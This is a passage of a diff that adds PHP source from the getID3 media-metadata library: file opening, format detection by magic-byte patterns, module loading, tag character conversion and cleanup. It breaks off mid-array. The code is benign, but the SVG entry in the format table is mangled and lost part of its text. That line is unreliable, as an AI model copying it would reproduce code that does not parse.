($this->fp = fopen($filename, 'rb'))) { + // great + } else { + $errormessagelist = array(); + if (!is_readable($filename)) { + $errormessagelist[] = '!is_readable'; + } + if (!is_file($filename)) { + $errormessagelist[] = '!is_file'; + } + if (!file_exists($filename)) { + $errormessagelist[] = '!file_exists'; + } + if (empty($errormessagelist)) { + $errormessagelist[] = 'fopen failed'; + } + throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')'); + } + + $this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename)); + // set redundant parameters - might be needed in some include file + // filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion + $filename = str_replace('\\', '/', $filename); + $this->info['filepath'] = str_replace('\\', '/', realpath(dirname($filename))); + $this->info['filename'] = getid3_lib::mb_basename($filename); + $this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename']; + + // set more parameters + $this->info['avdataoffset'] = 0; + $this->info['avdataend'] = $this->info['filesize']; + $this->info['fileformat'] = ''; // filled in later + $this->info['audio']['dataformat'] = ''; // filled in later, unset if not used + $this->info['video']['dataformat'] = ''; // filled in later, unset if not used + $this->info['tags'] = array(); // filled in later, unset if not used + $this->info['error'] = array(); // filled in later, unset if not used + $this->info['warning'] = array(); // filled in later, unset if not used + $this->info['comments'] = array(); // filled in later, unset if not used + $this->info['encoding'] = $this->encoding; // required by id3v2 and iso modules - can be unset at the end if desired + + // option_max_2gb_check + if ($this->option_max_2gb_check) { + // PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB) + // filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize + // ftell() returns 0 if seeking to the end is beyond the range of unsigned integer + $fseek = fseek($this->fp, 0, SEEK_END); + if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) || + ($this->info['filesize'] < 0) || + (ftell($this->fp) < 0)) { + $real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']); + + if ($real_filesize === false) { + unset($this->info['filesize']); + fclose($this->fp); + throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.'); + } elseif (getid3_lib::intValueSupported($real_filesize)) { + unset($this->info['filesize']); + fclose($this->fp); + throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB, please report to info@getid3.org'); + } + $this->info['filesize'] = $real_filesize; + $this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB) and is not properly supported by PHP.'); + } + } + + return true; + + } catch (Exception $e) { + $this->error($e->getMessage()); + } + return false; + } + + /** + * analyze file + * + * @param string $filename + * @param int $filesize + * @param string $original_filename + * @param resource $fp + * + * @return array + */ + public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { + try { + if (!$this->openfile($filename, $filesize, $fp)) { + return $this->info; + } + + // Handle tags + foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) { + $option_tag = 'option_tag_'.$tag_name; + if ($this->$option_tag) { + $this->include_module('tag.'.$tag_name); + try { + $tag_class = 'getid3_'.$tag_name; + $tag = new $tag_class($this); + $tag->Analyze(); + } + catch (getid3_exception $e) { + throw $e; + } + } + } + if (isset($this->info['id3v2']['tag_offset_start'])) { + $this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']); + } + foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) { + if (isset($this->info[$tag_key]['tag_offset_start'])) { + $this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']); + } + } + + // ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier + if (!$this->option_tag_id3v2) { + fseek($this->fp, 0); + $header = fread($this->fp, 10); + if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) { + $this->info['id3v2']['header'] = true; + $this->info['id3v2']['majorversion'] = ord($header[3]); + $this->info['id3v2']['minorversion'] = ord($header[4]); + $this->info['avdataoffset'] += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length + } + } + + // read 32 kb file data + fseek($this->fp, $this->info['avdataoffset']); + $formattest = fread($this->fp, 32774); + + // determine format + $determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename)); + + // unable to determine file format + if (!$determined_format) { + fclose($this->fp); + return $this->error('unable to determine file format'); + } + + // check for illegal ID3 tags + if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) { + if ($determined_format['fail_id3'] === 'ERROR') { + fclose($this->fp); + return $this->error('ID3 tags not allowed on this file type.'); + } elseif ($determined_format['fail_id3'] === 'WARNING') { + $this->warning('ID3 tags not allowed on this file type.'); + } + } + + // check for illegal APE tags + if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) { + if ($determined_format['fail_ape'] === 'ERROR') { + fclose($this->fp); + return $this->error('APE tags not allowed on this file type.'); + } elseif ($determined_format['fail_ape'] === 'WARNING') { + $this->warning('APE tags not allowed on this file type.'); + } + } + + // set mime type + $this->info['mime_type'] = $determined_format['mime_type']; + + // supported format signature pattern detected, but module deleted + if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) { + fclose($this->fp); + return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.'); + } + + // module requires mb_convert_encoding/iconv support + // Check encoding/iconv support + if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) { + $errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. '; + if (GETID3_OS_ISWINDOWS) { + $errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32'; + } else { + $errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch'; + } + return $this->error($errormessage); + } + + // include module + include_once(GETID3_INCLUDEPATH.$determined_format['include']); + + // instantiate module class + $class_name = 'getid3_'.$determined_format['module']; + if (!class_exists($class_name)) { + return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.'); + } + $class = new $class_name($this); + + // set module-specific options + foreach (get_object_vars($this) as $getid3_object_vars_key => $getid3_object_vars_value) { + if (preg_match('#^options_([^_]+)_([^_]+)_(.+)$#i', $getid3_object_vars_key, $matches)) { + list($dummy, $GOVgroup, $GOVmodule, $GOVsetting) = $matches; + $GOVgroup = (($GOVgroup == 'audiovideo') ? 'audio-video' : $GOVgroup); // variable names can only contain 0-9a-z_ so standardize here + if (($GOVgroup == $determined_format['group']) && ($GOVmodule == $determined_format['module'])) { + $class->$GOVsetting = $getid3_object_vars_value; + } + } + } + + $class->Analyze(); + unset($class); + + // close file + fclose($this->fp); + + // process all tags - copy to 'tags' and convert charsets + if ($this->option_tags_process) { + $this->HandleAllTags(); + } + + // perform more calculations + if ($this->option_extra_info) { + $this->ChannelsBitratePlaytimeCalculations(); + $this->CalculateCompressionRatioVideo(); + $this->CalculateCompressionRatioAudio(); + $this->CalculateReplayGain(); + $this->ProcessAudioStreams(); + } + + // get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags + if ($this->option_md5_data) { + // do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too + if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) { + $this->getHashdata('md5'); + } + } + + // get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags + if ($this->option_sha1_data) { + $this->getHashdata('sha1'); + } + + // remove undesired keys + $this->CleanUp(); + + } catch (Exception $e) { + $this->error('Caught exception: '.$e->getMessage()); + } + + // return info array + return $this->info; + } + + + /** + * Error handling. + * + * @param string $message + * + * @return array + */ + public function error($message) { + $this->CleanUp(); + if (!isset($this->info['error'])) { + $this->info['error'] = array(); + } + $this->info['error'][] = $message; + return $this->info; + } + + + /** + * Warning handling. + * + * @param string $message + * + * @return bool + */ + public function warning($message) { + $this->info['warning'][] = $message; + return true; + } + + + /** + * @return bool + */ + private function CleanUp() { + + // remove possible empty keys + $AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate'); + foreach ($AVpossibleEmptyKeys as $dummy => $key) { + if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) { + unset($this->info['audio'][$key]); + } + if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) { + unset($this->info['video'][$key]); + } + } + + // remove empty root keys + if (!empty($this->info)) { + foreach ($this->info as $key => $value) { + if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) { + unset($this->info[$key]); + } + } + } + + // remove meaningless entries from unknown-format files + if (empty($this->info['fileformat'])) { + if (isset($this->info['avdataoffset'])) { + unset($this->info['avdataoffset']); + } + if (isset($this->info['avdataend'])) { + unset($this->info['avdataend']); + } + } + + // remove possible duplicated identical entries + if (!empty($this->info['error'])) { + $this->info['error'] = array_values(array_unique($this->info['error'])); + } + if (!empty($this->info['warning'])) { + $this->info['warning'] = array_values(array_unique($this->info['warning'])); + } + + // remove "global variable" type keys + unset($this->info['php_memory_limit']); + + return true; + } + + /** + * Return array containing information about all supported formats. + * + * @return array + */ + public function GetFileFormatArray() { + static $format_info = array(); + if (empty($format_info)) { + $format_info = array( + + // Audio formats + + // AC-3 - audio - Dolby AC-3 / Dolby Digital + 'ac3' => array( + 'pattern' => '^\\x0B\\x77', + 'group' => 'audio', + 'module' => 'ac3', + 'mime_type' => 'audio/ac3', + ), + + // AAC - audio - Advanced Audio Coding (AAC) - ADIF format + 'adif' => array( + 'pattern' => '^ADIF', + 'group' => 'audio', + 'module' => 'aac', + 'mime_type' => 'audio/aac', + 'fail_ape' => 'WARNING', + ), + +/* + // AA - audio - Audible Audiobook + 'aa' => array( + 'pattern' => '^.{4}\\x57\\x90\\x75\\x36', + 'group' => 'audio', + 'module' => 'aa', + 'mime_type' => 'audio/audible', + ), +*/ + // AAC - audio - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3) + 'adts' => array( + 'pattern' => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]', + 'group' => 'audio', + 'module' => 'aac', + 'mime_type' => 'audio/aac', + 'fail_ape' => 'WARNING', + ), + + + // AU - audio - NeXT/Sun AUdio (AU) + 'au' => array( + 'pattern' => '^\\.snd', + 'group' => 'audio', + 'module' => 'au', + 'mime_type' => 'audio/basic', + ), + + // AMR - audio - Adaptive Multi Rate + 'amr' => array( + 'pattern' => '^\\x23\\x21AMR\\x0A', // #!AMR[0A] + 'group' => 'audio', + 'module' => 'amr', + 'mime_type' => 'audio/amr', + ), + + // AVR - audio - Audio Visual Research + 'avr' => array( + 'pattern' => '^2BIT', + 'group' => 'audio', + 'module' => 'avr', + 'mime_type' => 'application/octet-stream', + ), + + // BONK - audio - Bonk v0.9+ + 'bonk' => array( + 'pattern' => '^\\x00(BONK|INFO|META| ID3)', + 'group' => 'audio', + 'module' => 'bonk', + 'mime_type' => 'audio/xmms-bonk', + ), + + // DSF - audio - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital + 'dsf' => array( + 'pattern' => '^DSD ', // including trailing space: 44 53 44 20 + 'group' => 'audio', + 'module' => 'dsf', + 'mime_type' => 'audio/dsd', + ), + + // DSS - audio - Digital Speech Standard + 'dss' => array( + 'pattern' => '^[\\x02-\\x08]ds[s2]', + 'group' => 'audio', + 'module' => 'dss', + 'mime_type' => 'application/octet-stream', + ), + + // DSDIFF - audio - Direct Stream Digital Interchange File Format + 'dsdiff' => array( + 'pattern' => '^FRM8', + 'group' => 'audio', + 'module' => 'dsdiff', + 'mime_type' => 'audio/dsd', + ), + + // DTS - audio - Dolby Theatre System + 'dts' => array( + 'pattern' => '^\\x7F\\xFE\\x80\\x01', + 'group' => 'audio', + 'module' => 'dts', + 'mime_type' => 'audio/dts', + ), + + // FLAC - audio - Free Lossless Audio Codec + 'flac' => array( + 'pattern' => '^fLaC', + 'group' => 'audio', + 'module' => 'flac', + 'mime_type' => 'audio/flac', + ), + + // LA - audio - Lossless Audio (LA) + 'la' => array( + 'pattern' => '^LA0[2-4]', + 'group' => 'audio', + 'module' => 'la', + 'mime_type' => 'application/octet-stream', + ), + + // LPAC - audio - Lossless Predictive Audio Compression (LPAC) + 'lpac' => array( + 'pattern' => '^LPAC', + 'group' => 'audio', + 'module' => 'lpac', + 'mime_type' => 'application/octet-stream', + ), + + // MIDI - audio - MIDI (Musical Instrument Digital Interface) + 'midi' => array( + 'pattern' => '^MThd', + 'group' => 'audio', + 'module' => 'midi', + 'mime_type' => 'audio/midi', + ), + + // MAC - audio - Monkey's Audio Compressor + 'mac' => array( + 'pattern' => '^MAC ', + 'group' => 'audio', + 'module' => 'monkey', + 'mime_type' => 'audio/x-monkeys-audio', + ), + +// has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available +// // MOD - audio - MODule (assorted sub-formats) +// 'mod' => array( +// 'pattern' => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)', +// 'group' => 'audio', +// 'module' => 'mod', +// 'option' => 'mod', +// 'mime_type' => 'audio/mod', +// ), + + // MOD - audio - MODule (Impulse Tracker) + 'it' => array( + 'pattern' => '^IMPM', + 'group' => 'audio', + 'module' => 'mod', + //'option' => 'it', + 'mime_type' => 'audio/it', + ), + + // MOD - audio - MODule (eXtended Module, various sub-formats) + 'xm' => array( + 'pattern' => '^Extended Module', + 'group' => 'audio', + 'module' => 'mod', + //'option' => 'xm', + 'mime_type' => 'audio/xm', + ), + + // MOD - audio - MODule (ScreamTracker) + 's3m' => array( + 'pattern' => '^.{44}SCRM', + 'group' => 'audio', + 'module' => 'mod', + //'option' => 's3m', + 'mime_type' => 'audio/s3m', + ), + + // MPC - audio - Musepack / MPEGplus + 'mpc' => array( + 'pattern' => '^(MPCK|MP\\+|[\\x00\\x01\\x10\\x11\\x40\\x41\\x50\\x51\\x80\\x81\\x90\\x91\\xC0\\xC1\\xD0\\xD1][\\x20-\\x37][\\x00\\x20\\x40\\x60\\x80\\xA0\\xC0\\xE0])', + 'group' => 'audio', + 'module' => 'mpc', + 'mime_type' => 'audio/x-musepack', + ), + + // MP3 - audio - MPEG-audio Layer 3 (very similar to AAC-ADTS) + 'mp3' => array( + 'pattern' => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]', + 'group' => 'audio', + 'module' => 'mp3', + 'mime_type' => 'audio/mpeg', + ), + + // OFR - audio - OptimFROG + 'ofr' => array( + 'pattern' => '^(\\*RIFF|OFR)', + 'group' => 'audio', + 'module' => 'optimfrog', + 'mime_type' => 'application/octet-stream', + ), + + // RKAU - audio - RKive AUdio compressor + 'rkau' => array( + 'pattern' => '^RKA', + 'group' => 'audio', + 'module' => 'rkau', + 'mime_type' => 'application/octet-stream', + ), + + // SHN - audio - Shorten + 'shn' => array( + 'pattern' => '^ajkg', + 'group' => 'audio', + 'module' => 'shorten', + 'mime_type' => 'audio/xmms-shn', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // TAK - audio - Tom's lossless Audio Kompressor + 'tak' => array( + 'pattern' => '^tBaK', + 'group' => 'audio', + 'module' => 'tak', + 'mime_type' => 'application/octet-stream', + ), + + // TTA - audio - TTA Lossless Audio Compressor (http://tta.corecodec.org) + 'tta' => array( + 'pattern' => '^TTA', // could also be '^TTA(\\x01|\\x02|\\x03|2|1)' + 'group' => 'audio', + 'module' => 'tta', + 'mime_type' => 'application/octet-stream', + ), + + // VOC - audio - Creative Voice (VOC) + 'voc' => array( + 'pattern' => '^Creative Voice File', + 'group' => 'audio', + 'module' => 'voc', + 'mime_type' => 'audio/voc', + ), + + // VQF - audio - transform-domain weighted interleave Vector Quantization Format (VQF) + 'vqf' => array( + 'pattern' => '^TWIN', + 'group' => 'audio', + 'module' => 'vqf', + 'mime_type' => 'application/octet-stream', + ), + + // WV - audio - WavPack (v4.0+) + 'wv' => array( + 'pattern' => '^wvpk', + 'group' => 'audio', + 'module' => 'wavpack', + 'mime_type' => 'application/octet-stream', + ), + + + // Audio-Video formats + + // ASF - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio + 'asf' => array( + 'pattern' => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C', + 'group' => 'audio-video', + 'module' => 'asf', + 'mime_type' => 'video/x-ms-asf', + 'iconv_req' => false, + ), + + // BINK - audio/video - Bink / Smacker + 'bink' => array( + 'pattern' => '^(BIK|SMK)', + 'group' => 'audio-video', + 'module' => 'bink', + 'mime_type' => 'application/octet-stream', + ), + + // FLV - audio/video - FLash Video + 'flv' => array( + 'pattern' => '^FLV[\\x01]', + 'group' => 'audio-video', + 'module' => 'flv', + 'mime_type' => 'video/x-flv', + ), + + // IVF - audio/video - IVF + 'ivf' => array( + 'pattern' => '^DKIF', + 'group' => 'audio-video', + 'module' => 'ivf', + 'mime_type' => 'video/x-ivf', + ), + + // MKAV - audio/video - Mastroka + 'matroska' => array( + 'pattern' => '^\\x1A\\x45\\xDF\\xA3', + 'group' => 'audio-video', + 'module' => 'matroska', + 'mime_type' => 'video/x-matroska', // may also be audio/x-matroska + ), + + // MPEG - audio/video - MPEG (Moving Pictures Experts Group) + 'mpeg' => array( + 'pattern' => '^\\x00\\x00\\x01[\\xB3\\xBA]', + 'group' => 'audio-video', + 'module' => 'mpeg', + 'mime_type' => 'video/mpeg', + ), + + // NSV - audio/video - Nullsoft Streaming Video (NSV) + 'nsv' => array( + 'pattern' => '^NSV[sf]', + 'group' => 'audio-video', + 'module' => 'nsv', + 'mime_type' => 'application/octet-stream', + ), + + // Ogg - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*)) + 'ogg' => array( + 'pattern' => '^OggS', + 'group' => 'audio', + 'module' => 'ogg', + 'mime_type' => 'application/ogg', + 'fail_id3' => 'WARNING', + 'fail_ape' => 'WARNING', + ), + + // QT - audio/video - Quicktime + 'quicktime' => array( + 'pattern' => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)', + 'group' => 'audio-video', + 'module' => 'quicktime', + 'mime_type' => 'video/quicktime', + ), + + // RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF) + 'riff' => array( + 'pattern' => '^(RIFF|SDSS|FORM)', + 'group' => 'audio-video', + 'module' => 'riff', + 'mime_type' => 'audio/wav', + 'fail_ape' => 'WARNING', + ), + + // Real - audio/video - RealAudio, RealVideo + 'real' => array( + 'pattern' => '^\\.(RMF|ra)', + 'group' => 'audio-video', + 'module' => 'real', + 'mime_type' => 'audio/x-realaudio', + ), + + // SWF - audio/video - ShockWave Flash + 'swf' => array( + 'pattern' => '^(F|C)WS', + 'group' => 'audio-video', + 'module' => 'swf', + 'mime_type' => 'application/x-shockwave-flash', + ), + + // TS - audio/video - MPEG-2 Transport Stream + 'ts' => array( + 'pattern' => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G". Check for at least 10 packets matching this pattern + 'group' => 'audio-video', + 'module' => 'ts', + 'mime_type' => 'video/MP2T', + ), + + // WTV - audio/video - Windows Recorded TV Show + 'wtv' => array( + 'pattern' => '^\\xB7\\xD8\\x00\\x20\\x37\\x49\\xDA\\x11\\xA6\\x4E\\x00\\x07\\xE9\\x5E\\xAD\\x8D', + 'group' => 'audio-video', + 'module' => 'wtv', + 'mime_type' => 'video/x-ms-wtv', + ), + + + // Still-Image formats + + // BMP - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4) + 'bmp' => array( + 'pattern' => '^BM', + 'group' => 'graphic', + 'module' => 'bmp', + 'mime_type' => 'image/bmp', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // GIF - still image - Graphics Interchange Format + 'gif' => array( + 'pattern' => '^GIF', + 'group' => 'graphic', + 'module' => 'gif', + 'mime_type' => 'image/gif', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // JPEG - still image - Joint Photographic Experts Group (JPEG) + 'jpg' => array( + 'pattern' => '^\\xFF\\xD8\\xFF', + 'group' => 'graphic', + 'module' => 'jpg', + 'mime_type' => 'image/jpeg', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // PCD - still image - Kodak Photo CD + 'pcd' => array( + 'pattern' => '^.{2048}PCD_IPI\\x00', + 'group' => 'graphic', + 'module' => 'pcd', + 'mime_type' => 'image/x-photo-cd', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + + // PNG - still image - Portable Network Graphics (PNG) + 'png' => array( + 'pattern' => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A', + 'group' => 'graphic', + 'module' => 'png', + 'mime_type' => 'image/png', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + + // SVG - still image - Scalable Vector Graphics (SVG) + 'svg' => array( + 'pattern' => '( 'graphic', + 'module' => 'svg', + 'mime_type' => 'image/svg+xml', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + + // TIFF - still image - Tagged Information File Format (TIFF) + 'tiff' => array( + 'pattern' => '^(II\\x2A\\x00|MM\\x00\\x2A)', + 'group' => 'graphic', + 'module' => 'tiff', + 'mime_type' => 'image/tiff', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + + // EFAX - still image - eFax (TIFF derivative) + 'efax' => array( + 'pattern' => '^\\xDC\\xFE', + 'group' => 'graphic', + 'module' => 'efax', + 'mime_type' => 'image/efax', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + + // Data formats + + // ISO - data - International Standards Organization (ISO) CD-ROM Image + 'iso' => array( + 'pattern' => '^.{32769}CD001', + 'group' => 'misc', + 'module' => 'iso', + 'mime_type' => 'application/octet-stream', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + 'iconv_req' => false, + ), + + // HPK - data - HPK compressed data + 'hpk' => array( + 'pattern' => '^BPUL', + 'group' => 'archive', + 'module' => 'hpk', + 'mime_type' => 'application/octet-stream', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // RAR - data - RAR compressed data + 'rar' => array( + 'pattern' => '^Rar\\!', + 'group' => 'archive', + 'module' => 'rar', + 'mime_type' => 'application/vnd.rar', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // SZIP - audio/data - SZIP compressed data + 'szip' => array( + 'pattern' => '^SZ\\x0A\\x04', + 'group' => 'archive', + 'module' => 'szip', + 'mime_type' => 'application/octet-stream', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // TAR - data - TAR compressed data + 'tar' => array( + 'pattern' => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}', + 'group' => 'archive', + 'module' => 'tar', + 'mime_type' => 'application/x-tar', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // GZIP - data - GZIP compressed data + 'gz' => array( + 'pattern' => '^\\x1F\\x8B\\x08', + 'group' => 'archive', + 'module' => 'gzip', + 'mime_type' => 'application/gzip', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // ZIP - data - ZIP compressed data + 'zip' => array( + 'pattern' => '^PK\\x03\\x04', + 'group' => 'archive', + 'module' => 'zip', + 'mime_type' => 'application/zip', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // XZ - data - XZ compressed data + 'xz' => array( + 'pattern' => '^\\xFD7zXZ\\x00', + 'group' => 'archive', + 'module' => 'xz', + 'mime_type' => 'application/x-xz', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + + // Misc other formats + + // PAR2 - data - Parity Volume Set Specification 2.0 + 'par2' => array ( + 'pattern' => '^PAR2\\x00PKT', + 'group' => 'misc', + 'module' => 'par2', + 'mime_type' => 'application/octet-stream', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // PDF - data - Portable Document Format + 'pdf' => array( + 'pattern' => '^\\x25PDF', + 'group' => 'misc', + 'module' => 'pdf', + 'mime_type' => 'application/pdf', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // MSOFFICE - data - ZIP compressed data + 'msoffice' => array( + 'pattern' => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document + 'group' => 'misc', + 'module' => 'msoffice', + 'mime_type' => 'application/octet-stream', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // TORRENT - .torrent + 'torrent' => array( + 'pattern' => '^(d8\\:announce|d7\\:comment)', + 'group' => 'misc', + 'module' => 'torrent', + 'mime_type' => 'application/x-bittorrent', + 'fail_id3' => 'ERROR', + 'fail_ape' => 'ERROR', + ), + + // CUE - data - CUEsheet (index to single-file disc images) + 'cue' => array( + 'pattern' => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents + 'group' => 'misc', + 'module' => 'cue', + 'mime_type' => 'application/octet-stream', + ), + + ); + } + + return $format_info; + } + + /** + * @param string $filedata + * @param string $filename + * + * @return mixed|false + */ + public function GetFileFormat(&$filedata, $filename='') { + // this function will determine the format of a file based on usually + // the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG, + // and in the case of ISO CD image, 6 bytes offset 32kb from the start + // of the file). + + // Identify file format - loop through $format_info and detect with reg expr + foreach ($this->GetFileFormatArray() as $format_name => $info) { + // The /s switch on preg_match() forces preg_match() NOT to treat + // newline (0x0A) characters as special chars but do a binary match + if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) { + $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; + return $info; + } + } + + + if (preg_match('#\\.mp[123a]$#i', $filename)) { + // Too many mp3 encoders on the market put garbage in front of mpeg files + // use assume format on these if format detection failed + $GetFileFormatArray = $this->GetFileFormatArray(); + $info = $GetFileFormatArray['mp3']; + $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; + return $info; + } elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) { + // there's not really a useful consistent "magic" at the beginning of .cue files to identify them + // so until I think of something better, just go by filename if all other format checks fail + // and verify there's at least one instance of "TRACK xx AUDIO" in the file + $GetFileFormatArray = $this->GetFileFormatArray(); + $info = $GetFileFormatArray['cue']; + $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; + return $info; + } + + return false; + } + + /** + * Converts array to $encoding charset from $this->encoding. + * + * @param array $array + * @param string $encoding + */ + public function CharConvert(&$array, $encoding) { + + // identical encoding - end here + if ($encoding == $this->encoding) { + return; + } + + // loop thru array + foreach ($array as $key => $value) { + + // go recursive + if (is_array($value)) { + $this->CharConvert($array[$key], $encoding); + } + + // convert string + elseif (is_string($value)) { + $array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value)); + } + } + } + + /** + * @return bool + */ + public function HandleAllTags() { + + // key name => array (tag name, character encoding) + static $tags; + if (empty($tags)) { + $tags = array( + 'asf' => array('asf' , 'UTF-16LE'), + 'midi' => array('midi' , 'ISO-8859-1'), + 'nsv' => array('nsv' , 'ISO-8859-1'), + 'ogg' => array('vorbiscomment' , 'UTF-8'), + 'png' => array('png' , 'UTF-8'), + 'tiff' => array('tiff' , 'ISO-8859-1'), + 'quicktime' => array('quicktime' , 'UTF-8'), + 'real' => array('real' , 'ISO-8859-1'), + 'vqf' => array('vqf' , 'ISO-8859-1'), + 'zip' => array('zip' , 'ISO-8859-1'), + 'riff' => array('riff' , 'ISO-8859-1'), + 'lyrics3' => array('lyrics3' , 'ISO-8859-1'), + 'id3v1' => array('id3v1' , $this->encoding_id3v1), + 'id3v2' => array('id3v2' , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8 + 'ape' => array('ape' , 'UTF-8'), + 'cue' => array('cue' , 'ISO-8859-1'), + 'matroska' => array('matroska' , 'UTF-8'), + 'flac' => array('vorbiscomment' , 'UTF-8'), + 'divxtag' => array('divx' , 'ISO-8859-1'), + 'iptc' => array('iptc' , 